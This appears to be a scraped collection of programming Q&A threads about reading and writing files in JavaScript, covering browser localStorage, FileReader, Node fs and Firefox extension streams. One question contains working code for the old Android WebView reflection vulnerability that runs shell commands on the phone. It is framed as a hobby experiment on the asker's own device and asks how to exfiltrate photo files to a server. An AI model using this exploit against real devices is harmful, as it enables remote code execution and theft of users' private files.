We Keep Coding

Reading/Writing to a file in javascript

I want to read and write to a file in a specific way.
An example file could be:
name1:100
name2:400
name3:7865786
...etc etc
What would be the best way to read this data in and store in, and eventually write it out?
I don't know which type of data structure to use? I'm still fairly new to javascript.
I want to be able to determine if any key,values are matching.
For example, if I were to add to the file, I could see that name1 is already in the file, and I just edit the value instead of adding a duplicate.

You can use localStorage as a temporary storage between reads and writes.
Though, you cannot actually read and write to a user's filesystem at will using client side JavaScript. You can however request the user to select a file to read the same way you can request the user to save the data you push, as a file.
localStorage allow you to store the data as key-value pairs and it's easy to check if an item exists or not. Optionally simply use a literal object which basically can do the same but only exists in memory. localStorage can be saved between sessions and navigation between pages.
// set some data
localStorage.setItem("key", "value");
// get some data
var data = localStorage.getItem("key");
// check if key exists, set if not (though, you can simply override the key as well)
if (!localStorage.getItem("key")) localStorage.setItem("key", "value");
The method getItem will always return null if the key doesn't exist.
But note that localStorage can only store strings. For binary data and/or large sizes, look into Indexed DB instead.
To read a file you have to request the user to select one (or several):
HTML:
<label>Select a file: <input type=file id=selFile></label>
JavaScript
document.getElementById("selFile").onchange = function() {
var fileReader = new FileReader();
fileReader.onload = function() {
var txt = this.result;
// now we have the selected file as text.
};
fileReader.readAsText(this.files[0]);
};
To save a file you can use File objects this way:
var file = new File([txt], "myFilename.txt", {type: "application/octet-stream"});
var blobUrl = (URL || webkitURL).createObjectURL(file);
window.location = blobUrl;
The reason for using octet-stream is to "force" the browser to show a save as dialog instead of it trying to show the file in the tab, which would happen if we used text/plain as type.
So, how do we get the data between these stages. Assuming you're using key/value approach and text only you can use JSON objects.
var file = JSON.stringify(localStorage);
Then send to user as File blob shown above.
To read you will have to either manually parse the file format if the data exists in a particular format, or if the data is the same as you save out you can read in the file as shown above, then convert it from string to an object:
var data = JSON.parse(txt); // continue in the function block above
Object.assign(localStorage, data); // merge data from object with localStorage
Note that you may have to delete items from the storage first. There is also the chance other data have been stored there so these are cases that needs to be considered, but this is the basis of one approach.
Example
// due to security reasons, localStorage can't be used in stacksnippet,
// so we'll use an object instead
var test = {"myKey": "Hello there!"}; // localStorage.setItem("myKey", "Hello there!");
document.getElementById("selFile").onchange = function() {
var fileReader = new FileReader();
fileReader.onload = function() {
var o = JSON.parse(this.result);
//Object.assign(localStorage, o); // use this with localStorage
alert("done, myKey=" + o["myKey"]); // o[] -> localStorage.getItem("myKey")
};
fileReader.readAsText(this.files[0]);
};
document.querySelector("button").onclick = function() {
var json = JSON.stringify(test); // test -> localStorage
var file = new File([json], "myFilename.txt", {type: "application/octet-stream"});
var blobUrl = (URL || webkitURL).createObjectURL(file);
window.location = blobUrl;
}
Save first: <button>Save file</button> (<code>"myKey" = "Hello there!"</code>)<br><br>
Then read the saved file back in:<br>
<label>Select a file: <input type=file id=selFile></label>

Are you using Nodejs? Or browser javascript?
In either case the structure you should use is js' standard object. Then you can turn it into JSON like this:
var dataJSON = JSON.stringify(yourDataObj)
With Nodejs, you'll want to require the fs module and use one of the writeFile or appendFile functions -- here's sample code:
const fs = require('fs');
fs.writeFileSync('my/file/path', dataJSON);
With browser js, this stackoverflow may help you: Javascript: Create and save file

I know you want to write to a file, but but consider a database instead so that you don't have to reinvent the wheel. INSERT ... ON DUPLICATE KEY UPDATE seems like the logical choice for what you're looking to do.

For security reasons it's not possible to use JavaScript to write to a regular text or similar file on a client's system.
However Asynchronous JavaScript and XML (AJAX) can be used to send an XMLHttpRequest to a file on the server, written in a server-side language like PHP or ASP.
The server-side file can then write to other files, or a database on the server.
Cookies are useful if you just need to save relatively small amounts of data locally on a client's system.
For more information have a look at
Read/write to file using jQuery

Handle the output of 'cat example.png' in JS

I am trying, out of interest, to do some remote code execution on my old Android phone. On old versions of the Android "WebView" component, there is a vulnerability that makes it possible to execute shell code and read the response via JS. The relevant code, taken from here, looks like this:
function execute(cmdArgs)
{
return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
function getContents(inputStream)
{
var contents = "";
var b = inputStream.read();
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
b = inputStream.read();
}
return contents;
}
[...]
var p = execute(["ls","/mnt/sdcard/DCIM/Camera/"]);
input = getContents(p.getInputStream());
In this example, we list the files in the Camera folder and store them into 'input' as a string, which worked fine for me.
I have read however that the same vulnerability could be used to exfiltrate whole media files. The problem is that I do not know what type of data I get if I just remote-execute 'cat /path/to/example.png' on the phone. I want to submit the data to my (Python) web server. I tried running the above code, converting the bytes to a string (which contains a lot of gibberish), send the string via an XMLHttpRequest, then on my server just save that string to a binary file. That didn't work, obviously. I strongly suspect I should base64 encode the whole thing before transmission, but I don't even know how to retrieve the raw byte array from p.getInputStream() . It doesn't help that google doesn't give me any meaningful results for 'javascript inputstream' at all ...

node.js / Write buffer to file

I have a file, with size of 108 bytes.
I want to add to this file some text (buffer), let say "Hello world".
So I wrote the next:
fs.open("./tryit.txt", 'w+', function (err, fd1) {
var buffer = new Buffer("hello world");
fs.write(fd1, buffer, 0, 11, 109, function (err, bytesWrite, buffer) {
})
})
In order to write the file from position of 109.
I see that it write it, but before the hello world, all the text of the file was replaced by the NUL character.
How can I do it? append is not an option, because in some cases I want to write to the middle of the file.

What you want is random access IO (read or write at a specific point in a file).
It's not provided in the default API but you may use an additional package like https://www.npmjs.org/package/random-access-file

From docs:
'w+' - Open file for reading and writing. The file is created (if it does not exist) or truncated (if it exists)
"truncated" means that file becomes empty once opened.
You need a different mode, r+ for instance. a also might work, but not on Linux, according to docs.

Saving text from website using Firefox extension, wrong characters saved

Sorry about the vague title but I'm a bit lost so it's hard to be specific. I've started playing around with Firefox extensions using the add-on SDK. What I'm trying to to is to watch a page for changes, a Twitch.tv chat window in this case, and save those changes to a file.
I've gotten this to work, every time something changes on the page it gets saved. But, "unusual" characters like for example something in Korean doesn't get saved properly. I think this has to do with encoding of the file/string? I tried saving the same characters by copy-pasting them into notepad, it asked me to save in Unicode and when I did everything worked fine. So I figured, ok, I'll change the encoding of the log file to unicode as well before writing to it. Didn't exactly work... Now all the characters were in some kind of foreign language.
The code I'm using to write to the file is this:
var {Cc, Ci, Cu} = require("chrome");
var {FileUtils} = Cu.import("resource://gre/modules/FileUtils.jsm");
var file = FileUtils.getFile("Desk", ["mylogfile.txt"]);
var stream = FileUtils.openFileOutputStream(file, FileUtils.MODE_WRONLY | FileUtils.MODE_CREATE | FileUtils.MODE_APPEND);
stream.write(data, data.length);
stream.close();
I looked at the description of FileUtils.jsm over at MDN and as far as I can tell there's no way to tell it which encoding I want to use?
If you don't know a fix could you give me some good search terms because I seem to be coming up short on that front. Since I know basically nothing on the subject I'm flailing around in the dark a bit at the moment.
edit:
This is what I ended up with (for now) to get this thing working:
var {Cc, Ci, Cu} = require("chrome");
var {FileUtils} = Cu.import("resource://gre/modules/FileUtils.jsm");
var file = Cc['#mozilla.org/file/local;1']
.createInstance(Ci.nsILocalFile);
file.initWithPath('C:\\temp\\temp.txt');
if(!file.exists()){
file.create(file.NORMAL_FILE_TYPE, 0666);
}
var charset = 'UTF-8';
var fileStream = Cc['#mozilla.org/network/file-output-stream;1']
.createInstance(Ci.nsIFileOutputStream);
fileStream.init(file, FileUtils.MODE_WRONLY | FileUtils.MODE_CREATE | FileUtils.MODE_APPEND, 0x200, false);
var converterStream = Cc['#mozilla.org/intl/converter-output-stream;1']
.createInstance(Ci.nsIConverterOutputStream);
converterStream.init(fileStream, charset, data.length,
Ci.nsIConverterInputStream.DEFAULT_REPLACEMENT_CHARACTER);
converterStream.writeString(data);
converterStream.close();
fileStream.close();

Dumping just the raw bytes (well, raw jschars actually) won't work. You need to first convert the data into some sensible encoding.
See e.g. the File I/O Snippets. Here are the crucial bits of creating a converter output stream wrapper:
var converter = Components.classes["#mozilla.org/intl/converter-output-stream;1"].
createInstance(Components.interfaces.nsIConverterOutputStream);
converter.init(foStream, "UTF-8", 0, 0);
converter.writeString(data);
converter.close(); // this closes foStream
Another way is to use OS.File + TextConverter:
let encoder = new TextEncoder(); // This encoder can be reused for several writes
let array = encoder.encode("This is some text"); // Convert the text to an array
let promise = OS.File.writeAtomic("file.txt", array, // Write the array atomically to "file.txt", using as temporary
{tmpPath: "file.txt.tmp"}); // buffer "file.txt.tmp".
It might be even possible to mix both. OS.File has the benefit that it will write data and access files off the main thread (so it won't block the UI while the file is being written).

Write to a file identified by its Url in pure javascript

I would need to add data to a text file from javascript.
I've found the following code :
var file = showFilePicker(window, "", Components.interfaces.nsIFilePicker.modeSave, "", function(fp) {return fp.file;});
var outputStream = Components.classes["#mozilla.org/network/file-output-stream;1"].createInstance( Components.interfaces.nsIFileOutputStream);
outputStream.init(file, 0x02 | 0x08 | 0x20, 0644, 0);
outputStream.write(someText, someText.length);
outputStream.close();
However it takes a file chosen by the user thanks to a file picker.
In my case, I'd like to write to a text file identified by its URL (for example : C://.../text.js)

This probably isn't possible in a browser because of security restrictions. You can do it with NodeJS, though.